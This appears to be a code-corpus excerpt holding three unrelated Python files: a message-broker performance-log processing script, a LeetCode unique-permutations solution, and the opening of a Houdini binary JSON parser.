statFile=resultDir+os.sep+BROKER_CPU+".stats"
output= open(statFile, "w")
output.write("#type:min/max/avg")
output.write('\n')
output.write("CPU:"+str(minCPU)+"/"+str(maxCPU)+"/"+str(float(sumCPU)/float(entries)))
output.write('\n')
output.write("MEM:"+str(minMem)+"/"+str(maxMem)+"/"+str(float(sumMem)/float(entries)))
output.write('\n')
output.close
log("Pre Process of CPU Log file '"+BROKER_CPU+"' complete")
#
# Give an known process type get the recorded PID.
#
def getPID(process):
return getFirstLine(_brokerLogs+os.sep+process)
#
# Get the first line of the file without EOL chars.
# NOTE: this will load the entire file into memory to do it.
#
def getFirstLine(fileName):
f = open(fileName,"r")
line = f.read().splitlines()[0]
f.close
return line
#
# Walk the directory given and process all csv test results
#
def processTestResults(resultDir):
for root, dirs, files in os.walk(resultDir, topdown=False):
if len(files) == 0:
exitError("Test result directory is empty:" + resultDir)
for file in files:
if file.endswith(".csv"):
processTestResult(root , file)
def processTestResult(root, resultFile):
# Open stat file and extract test times, we determine:
# -start time based on the 'Access' value
# -end time based on the 'Modify' value 'Change' would also work
statFile=root+os.sep+resultFile+".stat"
if not os.path.exists(statFile):
log("Unable to process : Unable to open stat file:" + statFile)
return
createResultSetPackage(root, resultFile)
def extractTime(field, statFile):
stats = open(statFile, "r")
for line in stats:
if line.startswith(field):
if line.find("(") == -1:
dt = lineToDate(" ".join(line.split()[1:]))
#
# TODO We need to handle time time zone issues as I'm sure we will have issues with the
# log4j matching.
stats.close
return dt
#
# Given a text line in ISO format convert it to a date object
#
def lineToDate(line):
#2009-06-22 17:04:44,320
#2009-06-22 17:04:44.320
pattern = re.compile(r'(?P<year>^[0-9][0-9][0-9][0-9])-(?P<month>[0-9][0-9])-(?P<day>[0-9][0-9]) (?P<hour>[0-9][0-9]):(?P<minute>[0-9][0-9]):(?P<seconds>[0-9][0-9])')
m = pattern.match(line)
if m:
year = int(m.group('year'))
month = int(m.group('month'))
day = int(m.group('day'))
hour = int(m.group('hour'))
minute = int(m.group('minute'))
seconds = int(m.group('seconds'))
pattern = re.compile(r'(?P<year>^[0-9][0-9][0-9][0-9])-(?P<month>[0-9][0-9])-(?P<day>[0-9][0-9]) (?P<hour>[0-9][0-9]):(?P<minute>[0-9][0-9]):(?P<seconds>[0-9][0-9])[.|,](?P<micro>[0-9]+)')
m = pattern.match(line)
micro = None
if m:
micro = m.group('micro')
if micro == None:
micro = 0
# Correct issue where micros are actually nanos
if int(micro) > 999999:
micro = int(micro) / 1000
return datetime(year,month,day,hour,minute,seconds,int(micro))
else:
# Error we shouldn't get here
return null
def createResultSetPackage(root, resultFile):
# Get the Name of the test to make a directory with said name
testName = resultFile.split(".csv")[0]
resultDir = root+ os.sep + testName
log("Processing Result set for:"+ testName)
mkdir(resultDir)
# Move result file to new directory
shutil.move(root + os.sep + resultFile, resultDir)
# Move stat file to new directory
shutil.move(root + os.sep + resultFile + ".stat", resultDir)
statFile=resultDir + os.sep + resultFile + ".stat"
#
# Get start and end time for test run
#
start = extractTime(ACCESS, statFile)
end = extractTime(MODIFY, statFile)
sliceBrokerLogs(resultDir, start, end)
createGraphData(resultDir, testName)
createTestStatData(resultDir, testName)
log("Created Result Package for:"+ testName)
def sliceBrokerLogs(resultDir, start, end):
sliceCPULog(resultDir, start, end)
sliceLog4j(resultDir, start, end)
sliceGCLog(resultDir, start, end)
def sliceCPULog(resultDir, start, end):
global _brokerLogs
logfilePath=_brokerLogs+os.sep+BROKER_CPU_DATED
cpuSliceFile=resultDir+os.sep+BROKER_CPU
# Process the CPU log file and make a file of format:
# datetime <CPU% usage> <MEM% usage>
#
# Open log CPU file for reading
logFile = open(logfilePath, "r")
# Open the output file, erasing any existing version
# Keep track of the min/max sum and entries,.
minCPU=float(sys.maxint)
maxCPU=0.0
minMem=float(sys.maxint)
maxMem=0.0
entries=0
sumCPU=0.0
sumMem=0.0
#
# Create outputfile
#
cpuslice = open(cpuSliceFile,"w")
for line in logFile:
data = line.split()
#
# //fixme remove tz addition.
#
lineTime = lineToDate(" ".join(data[0:2])+" +0000")
if lineTime > start:
if lineTime < end:
# Write the data though to the new file
cpuslice.writelines(line)
# Perform stat processing for the min/max/avg
data = line.split()
#
# Data format is
# <Date> <Time> <%CPU> <%MEM>
# 2010-02-19 10:16:17 157 28.1
#
cpuIndex = 2
memIndex = 3
# Record entires
entries = entries + 1
# Record Metrics
# Record CPU data
cpu = float(data[cpuIndex])
if (cpu < minCPU):
minCPU = cpu
if (cpu > maxCPU):
maxCPU = cpu
sumCPU = sumCPU + cpu
# Record Mem data
mem = float(data[memIndex])
if (mem < minMem):
minMem = mem
if (mem > maxMem):
maxMem = mem
sumMem = sumMem + mem
logFile.close()
cpuslice.close()
log("Sliced CPU log")
# Output stats file
statFile=cpuSliceFile+".stats"
output= open(statFile, "w")
output.write("#type:min/max/avg")
output.write('\n')
output.write("CPU:"+str(minCPU)+"/"+str(maxCPU)+"/"+str(float(sumCPU)/float(entries)))
output.write('\n')
output.write("MEM:"+str(minMem)+"/"+str(maxMem)+"/"+str(float(sumMem)/float(entries)))
output.write('\n')
output.close
log("Generated stat data from CPU Log file")
def sliceGCLog(resultDir, start, end):
global _brokerLogs
logfilePath=_brokerLogs+os.sep+BROKER_GC
sliceFile=resultDir+os.sep+BROKER_GC
gcstart = extractTime(ACCESS, logfilePath+".stat")
# Open the output file, erasing any existing version
# Keep track of the min/max sum and entries,.
minGCDuration=float(sys.maxint)
maxGCDuration=0.0
sumGCDuration=0.0
entriesGCDuration = 0
# Open log GC file for reading
logFile = open(logfilePath, "r")
# Open the output file, erasing any existing version
output= open(sliceFile, "w")
# Use a regular expression to pull out the Seconds.Millis values from the
# Start of the gc log line.
pattern = re.compile(r'(?P<seconds>^[0-9]+)\.(?P<millis>[0-9]+):')
for line in logFile:
m = pattern.match(line)
if m:
seconds = m.group('seconds');
millis = m.group('millis');
offset = timedelta(seconds=int(seconds),milliseconds=int(millis))
lineTime = gcstart + offset
if lineTime > start:
if lineTime < end:
output.writelines(line)
# Perform stat processing for the min/max/avg
# Process GC Duration lines in ParNew gc ,
# ensure we do not have CMS printed as that means the line line has been corrupted
if line.find("ParNew") != -1 & line.find("CMS") == -1:
#
# Example data line
# 7.646: [GC 7.646: [ParNew: 14778K->461K(14784K), 0.0026610 secs] 49879K->36609K(73288K), 0.0027560 secs] [Times: user=0.01 sys=0.00, real=0.01 secs]
#
# So entry 5 is the ParNew time and 8 is the whole GC cycle. 14 entries total
data = line.split()
gcTime = 0
# Check we have a valid ParNew Line
if (len(data) == 15):
# Record entires
# Record GC Duration data
entriesGCDuration = entriesGCDuration + 1
gcTime = float(data[8])
if (gcTime < minGCDuration):
minGCDuration = gcTime
if (gcTime > maxGCDuration):
maxGCDuration = gcTime
sumGCDuration = sumGCDuration + gcTime
# Close the files
logFile.close
output.close()
log("Sliced gc log")
# Output stats file
statFile=sliceFile+".stats"
output= open(statFile, "w")
output.write("#type:min/max/avg")
output.write('\n')
#
# Only provide GCDuration if it was processed
#
output.write("GC_DUR:%.14f/%.14f/%.14f" % (minGCDuration, maxGCDuration , (sumGCDuration/float(entriesGCDuration))))
output.write('\n')
output.close
log("Generated stat data from CPU Log file")
def sliceLog4j(resultDir, start, end):
global _brokerLogs
logfilePath=_brokerLogs+os.sep+BROKER_LOG
log4jSliceFile=resultDir+os.sep+BROKER_LOG
log4jstart = extractTime(ACCESS, logfilePath+".stat")
#
# Say that first line is the start of the file,
# This value will give a time value to the initial
# logging before Log4j kicks in.
#
lineTime = log4jstart
# Process the broker log4j file
# Open log CPU file for reading
logFile = open(logfilePath, "r")
#
# Create outputfile
#
log4jslice = open(log4jSliceFile,"w")
for line in logFile:
data = line.split()
#
# If the line has a time at the start then process it
# otherwise use the previous time. This means if there is
# a stack trace in the middle of the log file then it will
# be copied over to the split file as long as it is in the
# split time.
#
if (hasTime(data)):
#
# //fixme remove tz addition.
#
lineTime = lineToDate(" ".join(data[0:2])+" +0000")
if lineTime > start:
if lineTime < end:
print line
log4jslice.writelines(line)
logFile.close()
log4jslice.close()
log("Sliced broker log")
#
# Check the first two entries of data can make a datetime object
#
def hasTime(data):
date = data[0]
time = data[1]
# Examples:
# 2009-06-22 17:04:44,246
# 2009-06-22 17:04:44.2464
# 2009-06-22 17:04:44
# ISO-8601 '-' format date
dateRE = re.compile('[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]')
#
# Check for times with/out millis
# e.g.
# 10:00:00,000 - log4j
# 10:00:00.0000 - generated in script for cpu time
#
timeRE = re.compile('[0-9][0-9]:[0-9][0-9]:[0-9][0-9]?[0-9]*')
return dateRE.match(date) and timeRE.match(time)
def createGraphData(resultDir, testName):
# Create graph.data file for process.sh
# Format two lines : Title and filename
# $version $type : $volume% volume
# $version-$brokerState-$type-$volume
version=getBrokerVersion()
test= extractTestValue("n",resultDir, testName)
volume = int(float(extractTestResult("Test * Size Throughput", resultDir, testName)) * 1000)
messageSize = extractTestValue("messageSize",resultDir, testName)
ackMode = ackModeToString(extractTestValue("consAckMode",resultDir, testName))
graphDataFile=resultDir+os.sep+GRAPH_DATA
graphData = open(graphDataFile, "w")
#
# Write Title
graphData.write(version+":"+test+":"+str(messageSize)+"kb x "+str(volume)+" msg/sec using "+ackMode)
graphData.write('\n')
#
# Write FileName
graphData.writelines(version+"-"+testName)
graphData.write('\n')
graphData.close
log("Created graph.data")
def getBrokerVersion():
global _brokerLogs
READY = "Qpid Broker Ready"
brokerLogFile = _brokerLogs + os.sep + BROKER_LOG
log = open(brokerLogFile, "r")
dataLine = ""
for line in log:
if line.find(READY) != -1:
dataLine = line
break
# Log Entry
#2009-06-19 17:04:02,493 INFO [main] server.Main (Main.java:456) - Qpid Broker Ready :172.16.17.32 build: 727403M
# Split on READY
data = dataLine.split(READY)
# So [1] should be
# :2.3.0.1 build: 727403M
readyEntries = data[1].split()
# so spliting on white space should give us ':version'
# and a quick split on ':' will give us the version
version = readyEntries[0].split(':')[1]
# Strip to ensure we have no whitespace
return version.strip()
def extractTestValue(property,resultDir,testName):
return extractTestData(property,resultDir,testName," =")
def extractTestResult(property,resultDir,testName):
return extractTestData(property,resultDir,testName,":")
def extractTestData(property,resultDir,testName,type):
resultFile = resultDir + os.sep + testName+".csv"
results = open(resultFile, "r")
dataLine = ""
for line in results:
if line.find("Total Tests:") == 0:
dataLine = line
results.close()
# Data is CSV
data = dataLine.split(',')
found = False
result = ""
searchProperty = property+type
for entry in data:
if found:
result = entry
break
if entry.strip() == searchProperty:
found=True
return result.strip()
def createTestStatData(resultDir, testName):
csvFilePath=resultDir + os.sep + testName + ".csv"
# Open the output file, erasing any existing version
# Keep track of the min/max sum and entries,.
minLatency=float(sys.maxint)
maxLatency=0.0
minThroughput=float(sys.maxint)
maxThroughput=0.0
entries=0
sumLatency=0.0
sumThroughput=0.0
#
# Open csv File
#
csvFile = open(csvFilePath,"r")
for line in csvFile:
# The PingAsyncTestPerf test class outputs the latency and throughput data.
if line.find("PingAsyncTestPerf") != -1:
#
# Data format is
# <Test> <TestName> <Thread> <Status> <Time> <Latency> <Concurrency> <Thread> <TestSize>
#org.wso2.andes.client.ping.PingAsyncTestPerf, testAsyncPingOk, Dispatcher-Channel-1, Pass, 209.074, 219.706, 0, 1, 10
LatencyIndex = 5
ThroughputIndex = 4
# The PingLatencyTestPerf test class just outputs the latency data.
if line.find("PingLatencyTestPerf") != -1:
#
# Data format is
# <Test> <TestName> <Thread> <Status> <Time> <Latency> <Concurrency> <Thread> <TestSize>
# org.wso2.andes.client.ping.PingLatencyTestPerf, testPingLatency, Dispatcher-Channel-1, Pass, 397.05502, 0, 2, 1000
LatencyIndex = 4
ThroughputIndex = -1
# Only process the test lines that have 'org.wso2.andes.client.ping', i.e. skip header and footer.
if line.find("org.wso2.andes.client.ping") != -1:
# Perform stat processing for the min/max/avg
data = line.split(",")
# Record entires
entries = entries + 1
# Record Metrics
# Record Latency data
latency = float(data[LatencyIndex])
if (latency < minLatency):
minLatency = latency
if (latency > maxLatency):
maxLatency = latency
sumLatency = sumLatency + latency
if (ThroughputIndex != -1):
# Record Latency data
throughput = float(data[ThroughputIndex])
if (throughput < minThroughput):
minThroughput = throughput
if (throughput > maxThroughput):
maxThroughput = throughput
sumThroughput = sumThroughput + throughput
csvFile.close()
# Output stats file
statFile=resultDir + os.sep + testName+".stats"
output= open(statFile, "w")
output.write("#type:min/max/avg")
output.write('\n')
output.write("LATENCY:"+str(minLatency)+"/"+str(maxLatency)+"/"+str(float(sumLatency)/float(entries)))
output.write('\n')
if (ThroughputIndex != -1):
# Output msgs/sec based on time for a batch of msgs
output.write("THROUGHPUT:"+str(float(1000)/maxThroughput)+"/"+str(float(1000)/minThroughput)+"/"+str(float(1000)/(float(sumThroughput)/float(entries))))
output.write('\n')
output.close
log("Generated stat data from test "+testName+" CSV file")
def ackModeToString(ackMode):
if ackMode == '0':
return "Transacted"
elif ackMode == '1':
return "AutoAck"
elif ackMode == '2':
return "ClientAck"
elif ackMode == '3':
return "DupsOK"
elif ackMode == '257':
return "NoAck"
elif ackMode == '258':
return "PreAck"
else:
return str(ackMode)
def debug(msg):
global _debug
if _debug:
log(msg)
def log(msg):
print msg
def mkdir(dir):
if not os.path.exists(dir):
os.mkdir(dir)
if __name__ == "__main__":
main() | 1.9375 | 2 |
python/047 Permutations II.py | allandproust/leetcode-share | 156 | 12764349 | <filename>python/047 Permutations II.py
'''
Given a collection of numbers that might contain duplicates, return all possible unique permutations.
For example,
[1,1,2] have the following unique permutations:
[1,1,2], [1,2,1], and [2,1,1].
'''
class Solution(object):
def permuteUnique(self, nums):
"""
:type nums: List[int]
:rtype: List[List[int]]
"""
result = []
nums.sort()
self.get_permute([], nums, result)
return result
def get_permute(self, current, num, result):
if not num:
result.append(current + [])
return
for i, v in enumerate(num):
if i - 1 >= 0 and num[i] == num[i - 1]:
continue
current.append(num[i])
self.get_permute(current, num[:i] + num[i + 1:], result)
current.pop()
if __name__ == "__main__":
assert Solution().permuteUnique([1, 2, 1]) == [[1, 1, 2], [1, 2, 1], [2, 1, 1]] | 3.984375 | 4 |
copper/shout/parsers/ifd/binary_json.py | cinepost/Copperfield_FX | 6 | 12764350 | <reponame>cinepost/Copperfield_FX<filename>copper/shout/parsers/ifd/binary_json.py
# This document is licensed under CC-3.0 Attribution-Share Alike 3.0
# http://creativecommons.org/licenses/by-sa/3.0/
# Attribution: There is no requirement to attribute the author.
'''
A Python JSON parser (http://www.json.org)
This is a pure Python implementation of a JSON parser (http://www.json.org)
It supports the Houdini (http://www.sidefx.com) extensions for a binary
JSON format.
This is intended as a reference implementation for Houdini's binary JSON
extension.
It is not very efficient. Please use the hjson module for efficient
parsing/writing.
HDK classes: UT_JSONParser UT_JSONWriter
HOM Module: hjson
'''
from __future__ import print_function
import struct
from . import fpreal16
import re
''' Parsing states '''
_STATE_START = 0
_STATE_COMPLETE = 1
_STATE_MAP_START = 2
_STATE_MAP_SEP = 3
_STATE_MAP_NEED_VALUE = 4
_STATE_MAP_GOT_VALUE = 5
_STATE_MAP_NEED_KEY = 6
_STATE_ARRAY_START = 7
_STATE_ARRAY_NEED_VALUE = 8
_STATE_ARRAY_GOT_VALUE = 9
''' JSON identifiers used in binary encoding and parsing '''
JID_NULL = 0x00
JID_MAP_BEGIN = 0x7b
JID_MAP_END = 0x7d
JID_ARRAY_BEGIN = 0x5b
JID_ARRAY_END = 0x5d
JID_BOOL = 0x10
JID_INT8 = 0x11
JID_INT16 = 0x12
JID_INT32 = 0x13
JID_INT64 = 0x14
JID_REAL16 = 0x18
JID_REAL32 = 0x19
JID_REAL64 = 0x1a
JID_UINT8 = 0x21
JID_UINT16 = 0x22
JID_STRING = 0x27
JID_FALSE = 0x30
JID_TRUE = 0x31
JID_TOKENDEF = 0x2b
JID_TOKENREF = 0x26
JID_TOKENUNDEF = 0x2d
JID_UNIFORM_ARRAY = 0x40
JID_KEY_SEPARATOR = 0x3a
JID_VALUE_SEPARATOR = 0x2c
JID_MAGIC = 0x7f
''' Magic number (and swapped version) for binary JSON files '''
BINARY_MAGIC = 0x624a534e
BINARY_MAGIC_SWAP = 0x4e534a62
_ASCII_VALUE_SEPARATOR = ','
_ASCII_KEY_SEPARATOR = '\t:'
class Handle:
'''
The Handle class is used to handle events in a SAX style when parsing
JSON files (see the Parser class). As the file is parsed, different
callbacks are invoked. A subclass should override methods to process
the JSON file.
The ua* (Uniform Array) methods are an extension to binary JSON files.
These methods, by default, will just invoke jsonBeginArray(), json*(),
jsonEndArray(). However, it may be possible for some implementations
of binary JSON to take advantage of these methods to pre-allocate data
or batch process the load data.
The ua* methods do not have to be implemented as their default
implementation just calls the json* methods.
Houdini HDK Equivalent: UT_JSONHandle
'''
def jsonNull(self, parser):
''' Invoked on <null> token'''
return True
def jsonBool(self, parser, value):
''' Invoked on either <true> or <false> tokens.'''
return True
def jsonInt(self, parser, value):
'''
binary JSON separates int/float values. This event is called when
an integer value was parsed.
'''
return True
def jsonReal(self, parser, value):
'''
binary JSON separates int/float values. This event is called when
an integer value was parsed.
'''
return True
def jsonString(self, parser, value):
''' Invoked when a <string> is encountered (see jsonKey()) '''
return True
def jsonKey(self, parser, value):
'''
When processing a map, the jsonKey() method will be invoked when
the key is read).
'''
return True
def jsonBeginMap(self, parser):
''' Invoked at beginning of a new map/object '''
return True
def jsonEndMap(self, parser):
''' Invoked at the end of a map/object '''
return True
def jsonBeginArray(self, parser):
''' Invoked at the beginning of a new array '''
return True
def jsonEndArray(self, parser):
''' Invoked at the end of an array '''
return True
def uaBool(self, parser, length):
'''
In binary JSON files, uniform bool arrays are stored as bit
streams. This method decodes the bit-stream, calling jsonBool()
for each element of the bit array.
'''
if not self.jsonBeginArray(parser):
return False
while length > 0:
x = parser.readU32()
if x == None:
return False
nbits = min(length, 32)
length -= nbits
for i in range(nbits):
if not self.jsonBool(parser, x & (1 << i) != 0):
return False
return self.jsonEndArray(parser)
def uniformArray(self, parser, length, method, callback):
''' Generic method to handle a uniform array '''
if not self.jsonBeginArray(parser):
return False
while length > 0:
length -= 1
value = method()
if value == None:
return False
if not callback(parser, value):
return False
return self.jsonEndArray(parser)
def uaInt8(self, parser, length):
''' Read the next <length> bytes as singed 8-bit integer values '''
return self.uniformArray(parser, length, parser.readI8, self.jsonInt)
def uaInt16(self, parser, length):
''' Read the next <length*2> bytes as singed 16-bit integer values '''
return self.uniformArray(parser, length, parser.readI16, self.jsonInt)
def uaInt32(self, parser, length):
''' Read the next <length*4> bytes as singed 32-bit integer values '''
return self.uniformArray(parser, length, parser.readI32, self.jsonInt)
def uaInt64(self, parser, length):
''' Read the next <length*8> bytes as singed 64-bit integer values '''
return self.uniformArray(parser, length, parser.readI64, self.jsonInt)
def uaReal16(self, parser, length):
'''
Read the next <length*2> bytes as singed 16-bit float values
(see fpreal16.py)
'''
return self.uniformArray(parser, length, parser.readF16, self.jsonReal)
def uaReal32(self, parser, length):
''' Read the next <length*4> bytes as singed 32-bit float values '''
return self.uniformArray(parser, length, parser.readF32, self.jsonReal)
def uaReal64(self, parser, length):
''' Read the next <length*8> bytes as singed 64-bit float values '''
return self.uniformArray(parser, length, parser.readF64, self.jsonReal)
def uaUInt8(self, parser, length):
''' Read the next <length> bytes as unsinged 8-bit integer values '''
return self.uniformArray(parser, length, parser.readU8, self.jsonInt)
def uaUInt16(self, parser, length):
''' Read the next <length*2> bytes as unsinged 16-bit integer values '''
return self.uniformArray(parser, length, parser.readU16, self.jsonInt)
def uaString(self, parser, length):
''' Read the next <N> bytes as binary encoded string values '''
return self.uniformArray(parser, length,
parser.binaryString, self.jsonString)
def uaString(self, parser, length):
''' Read the next <N> bytes as binary encoded string token values '''
return self.uniformArray(parser, length,
parser.binaryStringToken, self.jsonString)
#
# This is a list of the struct sizes and format strings used by binary loading
#
def _getIntFormat(size, swap=''):
# Find the format string for 64 bit ints
for f in [ 'b', 'h', 'i', 'l', 'q', 'qq' ]:
if struct.calcsize(f) == size:
return swap+f
raise RuntimeError("No struct size for %d-bit integers found" % size*8)
def _getUIntFormat(size, swap=''):
return _getIntFormat(size, swap).upper()
def _getRealFormat(size, swap=''):
for f in [ 'h', 'f', 'd']:
if struct.calcsize(f) == size:
return f
raise RuntimeError("No struct size for %d-bit floats found" % size*8)
def _getByteSwap():
x = 'AB'
h = struct.pack( '<h', struct.unpack('=h', x)[0] )
if h == 'AB':
return '>' # < was the correct byte order, so return swapped order
return '<' # > is byte swapped
_INT_FORMATS = {
JID_INT8 : (1, 0), # (bytes, index in format array)
JID_INT16 : (2, 1),
JID_INT32 : (4, 2),
JID_INT64 : (8, 3),
}
_UINT_FORMATS = {
JID_UINT8 : (1, 0), # (bytes, index in format array)
JID_UINT16 : (2, 1),
}
_REAL_FORMATS = {
JID_REAL16 : (2, 0), # (bytes, index in format array)
JID_REAL32 : (4, 1),
JID_REAL64 : (8, 2),
}
_NAN = {
# Possible values for not-a-number or infinity
'nan' : True,
'inf' : True,
'infinity' : True,
'Nan' : True,
'Inf' : True,
'Infinity' : True,
'1.#ind' : True,
'1.#inf' : True,
'NAN' : True,
'INF' : True,
'INFINITY' : True,
'1.#IND' : True,
'1.#INF' : True,
}
class _jValue:
'''
This class holds a JSON value which might be a map or array of
additional JSON values. The class knows how to send events to the
handle class.
'''
def __init__(self, token, value):
''' Initialize _jValue '''
self.Token = token
self.Value = value
self.Type = None
def event(self, parser, key=False):
'''
Method invoked to send an event to a Handle. This invokes the
appropriate callback on the handle.
'''
handle = parser.Handle
if self.Token == JID_STRING:
if key:
return handle.jsonKey(parser, self.Value)
return handle.jsonString(parser, self.Value)
if self.Token == JID_BOOL:
return handle.jsonBool(parser, self.Value)
if self.Token in {JID_INT8:1,JID_INT16:1,JID_INT32:1,JID_INT64:1}:
return handle.jsonInt(parser, self.Value)
if self.Token in {JID_UINT8:1,JID_UINT16:1}:
return handle.jsonInt(parser, self.Value)
if self.Token in {JID_REAL16:1,JID_REAL32:1,JID_REAL64:1}:
return handle.jsonReal(parser, self.Value)
if self.Token == JID_MAP_BEGIN:
return handle.jsonBeginMap(parser)
if self.Token == JID_MAP_END:
return handle.jsonEndMap(parser)
if self.Token == JID_ARRAY_BEGIN:
return handle.jsonBeginArray(parser)
if self.Token == JID_ARRAY_END:
return handle.jsonEndArray(parser)
if self.Token == JID_NULL:
return handle.jsonNull(parser)
if self.Token == JID_UNIFORM_ARRAY:
if self.Type == JID_BOOL:
return handle.uaBool(parser, self.Value)
if self.Type == JID_INT8:
return handle.uaInt8(parser, self.Value)
if self.Type == JID_INT16:
return handle.uaInt16(parser, self.Value)
if self.Type == JID_INT32:
return handle.uaInt32(parser, self.Value)
if self.Type == JID_INT64:
return handle.uaInt64(parser, self.Value)
if self.Type == JID_REAL16:
return handle.uaReal16(parser, self.Value)
if self.Type == JID_REAL32:
return handle.uaReal32(parser, self.Value)
if self.Type == JID_REAL64:
return handle.uaReal64(parser, self.Value)
if self.Type == JID_UINT8:
return handle.uaUInt8(parser, self.Value)
if self.Type == JID_UINT16:
return handle.uaUInt16(parser, self.Value)
if self.Type == JID_STRING:
return handle.uaString(parser, self.Value)
if self.Type == JID_TokenRef:
return handle.uaStringToken(parser, self.Value)
return False
class Parser:
'''
The Parser class will parse an ASCII or binary JSON stream. The
parse() method should be called with a "file" type object (one which
has the read(bytes) method implemented).
The second argument should be a Handle (which implements the
appropriate json* methods.
Houdini HDK Equivalent: UT_JSONParser
'''
def __init__(self):
''' Initializer '''
self.Handle = None
self.ParseError = False
self.Stream = None
self.Errors = []
self.Stack = []
self.Tokens = {}
self.State = _STATE_START
self.Binary = False
self.ReadCount = 0
self.IFormats = list(map(_getIntFormat, [1,2,4,8]))
self.UFormats = list(map(_getUIntFormat, [1,2,4,8]))
self.FFormats = list(map(_getRealFormat, [2,4,8]))
self.Peek = None
def parse(self, fp, h):
'''
Parse a single object out of a JSON stream.
@param fp This is a file object which has the \c read(bytes) method
@param h This is a Handle object which implements the json* methods
'''
saveStream = self.Stream
saveHandle = self.Handle
saveParseError = self.ParseError
if h:
self.Handle = h
if fp:
self.Stream = fp
result = self._parseStream()
if self.ParseError:
result = False
self.Handle = saveHandle
self.Stream = saveStream
self.ParseError = saveParseError
return result
def _parseStream(self):
''' Parse the JSON state stream '''
stack = 0
while True:
if self.State == _STATE_COMPLETE:
return True
push = None
popped = False
t = self._readToken()
if not t:
return False
if self.State in [_STATE_START, _STATE_MAP_NEED_VALUE,
_STATE_ARRAY_NEED_VALUE, _STATE_ARRAY_START]:
if t.Token in [JID_STRING, JID_BOOL, JID_NULL, JID_INT64,
JID_REAL64, JID_UNIFORM_ARRAY]:
pass
elif t.Token == JID_MAP_BEGIN:
push = _STATE_MAP_START
elif t.Token == JID_ARRAY_BEGIN:
push = _STATE_ARRAY_START
elif t.Token == JID_ARRAY_END:
if self.State not in [_STATE_ARRAY_START, _STATE_ARRAY_NEED_VALUE]:
self.error('Unexpected array end token')
return False
if not self._popState():
return False
stack -= 1
popped = True
elif t.Token == JID_MAP_END:
if self.State != _STATE_MAP_START:
self.error('Unexpected map end token')
return False
if not self._popState():
return False
stack -= 1
popped = True
elif t.Token in [JID_KEY_SEPARATOR, JID_VALUE_SEPARATOR]:
self.error('Invalid separator token in parsing')
return False
else:
self.error('Invalid parsing token')
return False
if push:
self.Stack.append(push)
self._setState(push)
stack += 1
elif not popped:
if self.State == _STATE_START:
self._setState(_STATE_COMPLETE)
elif self.State == _STATE_MAP_NEED_VALUE:
self._setState(_STATE_MAP_GOT_VALUE)
else:
self._setState(_STATE_ARRAY_GOT_VALUE)
if not t.event(self):
return False
if stack == 0:
return True
elif self.State in [_STATE_MAP_START, _STATE_MAP_NEED_KEY]:
if t.Token == JID_STRING:
self._setState(_STATE_MAP_SEP)
if not t.event(self, key=True):
return False
if stack == 0:
return True
elif t.Token == JID_MAP_END:
if self.State in [_STATE_MAP_START, _STATE_MAP_NEED_KEY]:
if not self._popState():
return False
if not t.event(self):
return False
stack -= 1
if stack == 0:
return True
else:
self.error("Missing map key (need string)")
elif self.State == _STATE_MAP_SEP:
if t.Token == JID_KEY_SEPARATOR:
self._setState(_STATE_MAP_NEED_VALUE)
else:
self.error("Key/value must be separated by a colon(':')")
elif self.State == _STATE_MAP_GOT_VALUE:
if t.Token == JID_MAP_END:
if not self._popState():
return False
if not t.event(self):
return False
stack -= 1
if stack == 0:
return True
elif t.Token == JID_VALUE_SEPARATOR:
self._setState(_STATE_MAP_NEED_KEY)
else:
self.error("Expected comma(',') or close brace('}') in map")
return False
elif self.State == _STATE_ARRAY_GOT_VALUE:
if t.Token == JID_ARRAY_END:
if not self._popState():
return False
if not t.event(self):
return False
stack -= 1
if stack == 0:
return True
elif t.Token == JID_VALUE_SEPARATOR:
self._setState(_STATE_ARRAY_NEED_VALUE)
else:
self.error(
"Expected comma(',') or close bracket(']') in array")
return False
else:
self.error("Unexpected parsing state")
return False
def _setState(self, state):
''' Change the state of the parser '''
if self.Binary:
if state == _STATE_MAP_GOT_VALUE:
state = _STATE_MAP_NEED_KEY
elif state == _STATE_MAP_SEP:
state = _STATE_MAP_NEED_VALUE
elif state == _STATE_ARRAY_GOT_VALUE:
state = _STATE_ARRAY_NEED_VALUE
self.State = state
try:
self.Stack[ len(self.Stack)-1 ] = state
except:
self.error('Stack error processing stream')
self.ParseError = True
def _popState(self):
''' Restore the state '''
n = len(self.Stack)
if n < 1:
return False
self.Stack.pop()
if n == 1:
self.State = _STATE_COMPLETE
else:
self.State = self.Stack[n-2]
if self.State in [_STATE_MAP_NEED_VALUE, _STATE_MAP_START]:
self._setState(_STATE_MAP_GOT_VALUE)
elif self.State in [_STATE_ARRAY_NEED_VALUE, _STATE_ARRAY_START]:
self._setState(_STATE_ARRAY_GOT_VALUE)
return True
def _swapFormats(self):
''' Make binary struct format strings '''
swap = _getByteSwap()
self.IFormats = map(_getIntFormat, [1,2,4,8], [swap]*4)
self.UFormats = map(_getUIntFormat, [1,2,4,8], [swap]*4)
self.FFormats = map(_getRealFormat, [2,4,8], [swap]*3)
def error(self, msg):
''' Simple method to append an error/warning message to the list '''
self.Errors.append('JSON Parsing[%d]: %s' % (self.ReadCount, msg))
def _putBack(self, c):
''' Put back a byte into the stream '''
self.Peek = c
def _readBytes(self, n):
''' Read n bytes from the stream '''
if self.Peek:
v = self.Peek
self.Peek = None
v1 = self._readBytes(n-1)
if v1 == None:
return None
return v+v1
else:
self.ReadCount += n
v = self.Stream.read(n)
if len(v) != n:
self.error('Read %d bytes past end of stream'%(len(v)-n))
return None
return v
def _readUnpacked(self, size, format):
''' Read a string of size bytes and unpack it using the format given '''
s = self._readBytes(size)
if s != None:
s = struct.unpack(format, s)[0]
return s
def readU8(self):
''' Read next byte as a binary unsigned 8-bit integer '''
return self._readUnpacked(1, self.UFormats[0])
def readU16(self):
'''
Read next 2 bytes as a binary unsigned 16-bit integer.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(2, self.UFormats[1])
def readU32(self):
'''
Read next 4 bytes as a binary unsigned 32-bit integer.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(4, self.UFormats[2])
def readI8(self):
''' Read next byte as a binary signed 8-bit integer '''
return self._readUnpacked(1, self.IFormats[0])
def readI16(self):
'''
Read next 2 bytes as a binary signed 16-bit integer.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(2, self.IFormats[1])
def readI32(self):
'''
Read next 4 bytes as a binary signed 32-bit integer.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(4, self.IFormats[2])
def readI64(self):
'''
Read next 8 bytes as a binary signed 64-bit integer.
Byte swapping is performed depending on endianness of the file.'''
return self._readUnpacked(8, self.IFormats[3])
